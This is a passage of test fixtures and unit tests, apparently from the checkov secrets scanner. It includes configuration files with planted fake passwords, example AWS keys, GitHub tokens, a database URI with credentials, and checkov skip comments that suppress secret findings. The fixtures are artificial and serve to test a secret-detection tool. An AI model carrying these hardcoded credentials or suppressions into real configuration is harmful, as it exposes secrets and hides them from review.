\"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_no_password\",\n      \"value\": \"RandomP@ssw0rd\"\n    }\n  ]\n}"
  },
  {
    "path": "tests/secrets/skip_test/skip_test1/skip_test2/skip1.json",
    "content": "{\n  \"spec\": [\n    {\n      \"name\": \"SOME_NAME1\",\n      \"value\": \"some_value1\"\n    },\n    {\n      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\n      \"name\": \"TEST_PASSWORD_1\",\n      \"name1\": \"TEST_PASSWORD_2\",\n      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_3\",\n      \"value\": \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_4\",\n      \"value\": \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_LONG_1\",\n      \"value\": \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_no_password\",\n      \"value\": \"RandomP@ssw0rd\"\n    }\n  ]\n}"
  },
  {
    "path": "tests/secrets/skip_test/skip_test1/skip_test2/skip2.json",
    "content": "{\n  \"spec\": [\n    {\n      \"name\": \"SOME_NAME\",\n      \"value\": \"some_value\"\n    },\n    {\n      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\n      \"name\": \"TEST_PASSWORD_1\",\n      \"name1\": \"TEST_PASSWORD_2\",\n      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_3\",\n      \"value\": \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_4\",\n      \"value\": \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_LONG_1\",\n      \"value\": \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_no_password\",\n      \"value\": \"RandomP@ssw0rd\"\n    }\n  ]\n}"
  },
  {
    "path": "tests/secrets/skip_test/skip_test2/skip1.json",
    "content": "{\n  \"spec\": [\n    {\n      \"name\": \"SOME_NAME1\",\n      \"value\": \"some_value1\"\n    },\n    {\n      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\n      \"name\": \"TEST_PASSWORD_1\",\n      \"name1\": \"TEST_PASSWORD_2\",\n      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_3\",\n      \"value\": \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_4\",\n      \"value\": \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_LONG_1\",\n      \"value\": \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_no_password\",\n      \"value\": \"RandomP@ssw0rd\"\n    }\n  ]\n}"
  },
  {
    "path": "tests/secrets/skip_test/skip_test2/skip2.json",
    "content": "{\n  \"spec\": [\n    {\n      \"name\": \"SOME_NAME\",\n      \"value\": \"some_value\"\n    },\n    {\n      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\n      \"name\": \"TEST_PASSWORD_1\",\n      \"name1\": \"TEST_PASSWORD_2\",\n      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_3\",\n      \"value\": \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_4\",\n      \"value\": \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_LONG_1\",\n      \"value\": \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\n    },\n    {\n      \"name\": \"TEST_PASSWORD_no_password\",\n      \"value\": \"RandomP@ssw0rd\"\n    }\n  ]\n}"
  },
  {
    "path": "tests/secrets/suppressions/metadata_suppression.yaml",
    "content": "credentials:\n  aws_access_key_id: AKIAIOSFODNN7EXAMPLE\n  aws_secret_access_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\ntokens:\n  github_token: ghp_1234567890exampleTOKEN\n\nMetadata:\n  checkov:\n    skip:\n      - id: CKV_SECRET_2\n        comment: AWS keys allowed in test env\n      - id: CKV_SECRET_6\n        comment: base64 is test credential, approved"
  },
  {
    "path": "tests/secrets/suppressions/metadata_suppression_array.json",
    "content": "[\n  {\n    \"DatabaseConfig\": {\n      \"user\": \"admin\",\n      \"password\": \"SuperSecretPassword123\"\n    },\n    \"Metadata\": {\n      \"checkov\": {\n        \"skip\": [\n          {\n            \"id\": \"CKV_SECRET_2\",\n            \"comment\": \"Suppressed DB password\"\n          }\n        ]\n      }\n    }\n  },\n  {\n    \"AWS\": {\n      \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n      \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n    },\n    \"Metadata\": {\n      \"checkov\": {\n        \"skip\": [\n          {\n            \"id\": \"CKV_SECRET_6\",\n            \"comment\": \"Suppressed AWS secret\"\n          }\n        ]\n      }\n    }\n  }\n]\n"
  },
  {
    "path": "tests/secrets/suppressions/metadata_suppression_object.json",
    "content": "{\n  \"DatabaseConfig\": {\n    \"user\": \"admin\",\n    \"password\": \"SuperSecretPassword123\"\n  },\n  \"AWS\": {\n    \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n    \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n  },\n  \"GitHub\": {\n    \"token\": \"ghp_exampletoken1234567890\"\n  },\n  \"Metadata\": {\n    \"checkov\": {\n      \"skip\": [\n        {\n          \"id\": \"CKV_SECRET_2\",\n          \"comment\": \"Approved for QA testing\"\n        },\n        {\n          \"id\": \"CKV_SECRET_6\",\n          \"comment\": \"Legacy config\"\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/secrets/terraform_multiline/cfn_heredoc.tf",
    "content": "resource \"aws_cloudformation_stack\" \"lambda\" {\n  name = \"lambda\"\n\n  parameters = {\n    VPCCidr = \"10.0.0.0/16\"\n  }\n\n  template_body = <<STACK\nAWSTemplateFormatVersion: '2010-09-09'\nDescription: VPC function.\nResources:\n  Function:\n    Type: AWS::Lambda::Function\n    Properties:\n      Handler: index.handler\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Code:\n        S3Bucket: my-bucket\n        S3Key: function.zip\n      Runtime: nodejs12.x\n      Timeout: 5\n      TracingConfig:\n        Mode: Active\n      VpcConfig:\n        SecurityGroupIds:\n          - sg-085912345678492fb\n        SubnetIds:\n          - subnet-071f712345678e7c8\n          - subnet-07fd123456788a036\n      Tags:\n        - Key: \"SOME_NAME\"\n          Value: \"some_value\"\n          # name1 & value1 are not valid arguments\n        - Value: \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\"\n          Key: \"TEST_PASSWORD_1\"\n          Key1: \"TEST_PASSWORD_2\"\n          Value1: \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\n        - Key: \"TEST_PASSWORD_3\"\n          # comment 1\n          # comment 2\n          # comment 3\n          Value: \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\n        - Value: \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"\n          # comment 1\n          Key: \"TEST_PASSWORD_4\"\n        - Key: \"TEST_PASSWORD_LONG_1\"\n          Value: \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\n        - Key: \"TEST_PASSWORD_no_password\"\n          Value: \"RandomP@ssw0rd\"\nSTACK\n}\n"
  },
  {
    "path": "tests/secrets/terraform_multiline/data.tf",
    "content": "data \"google_secret_manager_secret_version\" \"secret\" {\n  secret = \"somesecretid\"\n}\n"
  },
  {
    "path": "tests/secrets/terraform_multiline/ecs_heredoc.tf",
    "content": "resource \"aws_ecs_task_definition\" \"service\" {\n  family = \"service\"\n  # name1 & value1 are not valid fields under environment\n  container_definitions = <<TASK_DEFINITION\n[\n  {\n    \"cpu\": 10,\n    \"command\": [\"sleep\", \"10\"],\n    \"entryPoint\": [\"/\"],\n    \"environment\": [\n      {\"name\": \"SOME_NAME\", \"value\": \"some_value\"},\n      {\n        \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\n        \"name\": \"TEST_PASSWORD_1\",\n        \"name1\": \"TEST_PASSWORD_2\",\n        \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\n      },\n      {\n        \"name\": \"TEST_PASSWORD_3\",\n        \"value\": \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\n      },\n      {\n        \"value\": \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\",\n        \"name\": \"TEST_PASSWORD_4\"\n      },\n      {\n        \"name\": \"TEST_PASSWORD_LONG_1\",\n        \"value\": \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\n      },\n      {\n        \"name\": \"TEST_PASSWORD_no_password\",\n        \"value\": \"RandomP@ssw0rd\"\n      }\n    ],\n    \"essential\": true,\n    \"image\": \"jenkins\",\n    \"memory\": 128,\n    \"name\": \"jenkins\",\n    \"portMappings\": [\n      {\n        \"containerPort\": 80,\n        \"hostPort\": 8080\n      }\n    ],\n        \"resourceRequirements\":[\n            {\n                \"type\":\"InferenceAccelerator\",\n                \"value\":\"device_1\"\n            }\n        ]\n  }\n]\nTASK_DEFINITION\n}\n"
  },
  {
    "path": "tests/secrets/terraform_multiline/ecs_jsonencode.tf",
    "content": "resource \"aws_ecs_task_definition\" \"service\" {\n  family = \"service\"\n  container_definitions = jsonencode([\n    {\n      name      = \"first\"\n      image     = \"nginx\"\n      cpu       = 10\n      memory    = 512\n      essential = true\n      environment = [\n        {\n          name  = \"SOME_NAME\"\n          value = \"some_value\"\n        },\n        # name1 & value1 are not valid arguments\n        {\n          value  = \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\"\n          name = \"TEST_PASSWORD_1\"\n          name1 = \"TEST_PASSWORD_2\"\n          value1 = \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\n        },\n        {\n          name  = \"TEST_PASSWORD_3\"\n          // comment 1\n          // comment 2\n          // comment 3\n          value = \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\n        },\n        {\n          value = \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"\n          # comment 1\n          name  = \"TEST_PASSWORD_4\"\n        },\n        {\n          name  = \"TEST_PASSWORD_LONG_1\"\n          value = \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\n        },\n        {\n          name  = \"TEST_PASSWORD_no_password\"\n          value = \"RandomP@ssw0rd\"\n        }\n      ]\n      portMappings = [\n        {\n          containerPort = 80\n          hostPort      = 80\n        }\n      ]\n    },\n    {\n      name      = \"second\"\n      image     = \"python:3.9-alpine\"\n      cpu       = 10\n      memory    = 256\n      essential = true\n      portMappings = [\n        {\n          containerPort = 443\n          hostPort      = 443\n        }\n      ]\n    }\n  ])\n}\n"
  },
  {
    "path": "tests/secrets/terraform_multiline/pod.tf",
    "content": "resource \"kubernetes_pod_v1\" \"test\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.21.6\"\n      name  = \"example\"\n\n      env {\n        name  = \"SOME_NAME\"\n        value = \"some_value\"\n      }\n      # name1 & value1 are not valid arguments\n      env {\n        value  = \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\"\n        name = \"TEST_PASSWORD_1\"\n        name1 = \"TEST_PASSWORD_2\"\n        value1 = \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\n      }\n      env {\n        name  = \"TEST_PASSWORD_3\"\n        // comment 1\n        // comment 2\n        // comment 3\n        value = \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\n      }\n      env {\n        value = \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"\n        # comment 1\n        name  = \"TEST_PASSWORD_4\"\n      }\n      env {\n        name  = \"TEST_PASSWORD_LONG_1\"\n        value = \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\n      }\n      env {\n        name  = \"TEST_PASSWORD_no_password\"\n        value = \"RandomP@ssw0rd\"\n      }\n\n      port {\n        container_port = 80\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n"
  },
  {
    "path": "tests/secrets/test_coordinator.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.secrets.runner import Runner\n\n\nclass TestCoordinator(unittest.TestCase):\n\n    def test_same_resources_in_report_and_coordinator(self):\n        test_root_folder = f'{Path(__file__).parent}'\n\n        secret_runner = Runner()\n        report = secret_runner.run(\n            root_folder=test_root_folder, runner_filter=RunnerFilter(framework=['secrets'])\n        )\n        secrets_resources_in_coordinator = set(secret_runner.secrets_coordinator.get_resources())\n        failed_resources_from_report = set(f\"{record.file_path}:{record.resource}\" for record in report.failed_checks)\n        self.assertEqual(secrets_resources_in_coordinator, failed_resources_from_report)\n"
  },
  {
    "path": "tests/secrets/test_entropy_source_files/db-conn.js",
    "content": "var pg_port=1212;\nvar pg_host=\"my-website.com:9082/BLUDB\";\nvar pg_user=\"root\";\nvar pg_pass=\"sup3rstr0ngpass1ForPG\";\n\nvar mongo_uri = \"mongodb+srv://testuser:hub24aoeu@checkov-is-awesome-gg273.mongodb.net/test?retryWrites=true&w=majority\";\n\n// This should pass\nvar password = process.env.PASSWORD\n\n"
  },
  {
    "path": "tests/secrets/test_load_detectors.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\nfrom typing import Any, Dict, List\n\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.secrets.plugins.load_detectors import modify_secrets_policy_to_detectors, get_runnable_plugins\nfrom checkov.secrets.runner import Runner\nfrom tests.secrets.utils_for_test import _filter_reports_for_incident_ids\n\n\nclass TestLoadDetectors(unittest.TestCase):\n\n    def test_get_runnable_plugins(self) -> None:\n        policies_list: List[Dict[str, Any]] = [\n            {\n                \"incidentId\": \"incident1\",\n                \"category\": \"Secrets\",\n                \"code\": \"definition:\\n  cond_type: secrets\\n  value:\\n  - one_value\\n\",\n                \"title\": \"incident1\",\n            },\n            {\n                \"incidentId\": \"incident2\",\n                \"category\": \"Secrets\",\n                \"code\": \"definition:\\n  cond_type: secrets\\n  value:\\n  - H4sIAPmp12MC/8tIzcnJBwCGphA2BQAAAA==\\n  is_runnable: true\\n\",\n                \"title\": \"incident2\",\n            },\n            {\n                \"incidentId\": \"incident3\",\n                \"category\": \"Secrets\",\n                \"code\": \"\",\n                \"title\": \"incident3\",\n            },\n            {\n                \"incidentId\": \"incident4\",\n                \"category\": \"Secrets\",\n                \"code\": \"bad_code\",\n                \"title\": \"incident4\",\n            },\n            {\n                \"incidentId\": \"incident5\",\n                \"category\": \"Secrets\",\n                \"code\": \"definition:\\n  cond_type: secrets\\n  value:\\n  - invalid\\n  is_runnable: true\\n\",\n                \"title\": \"incident5\",\n            },\n        ]\n        runnables = get_runnable_plugins(policies_list)\n        assert len(runnables) == 1\n        assert runnables[\"incident2\"] == 'hello'\n\n\n    def test_modify_secrets_policy_to_detectors(self) -> None:\n        policies_list: List[Dict[str, Any]] = [\n            {\n                \"incidentId\": \"test1\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test\",\n                \"guideline\": \"test\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"resourceTypes\": [\n                    \"aws_instance\"\n                ],\n                \"provider\": \"AWS\",\n                \"remediationIds\": [],\n                \"conditionQuery\": {\n                    \"value\": [],\n                    \"cond_type\": \"secrets\"\n                },\n                \"customerName\": \"lshind\",\n                \"isCustom\": True,\n                \"code\": \"\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"frameworks\": [\n                    \"CloudFormation\",\n                    \"Terraform\"\n                ],\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            },\n            {\n                \"incidentId\": \"test1\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test\",\n                \"guideline\": \"test\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"conditionQuery\": {\n                    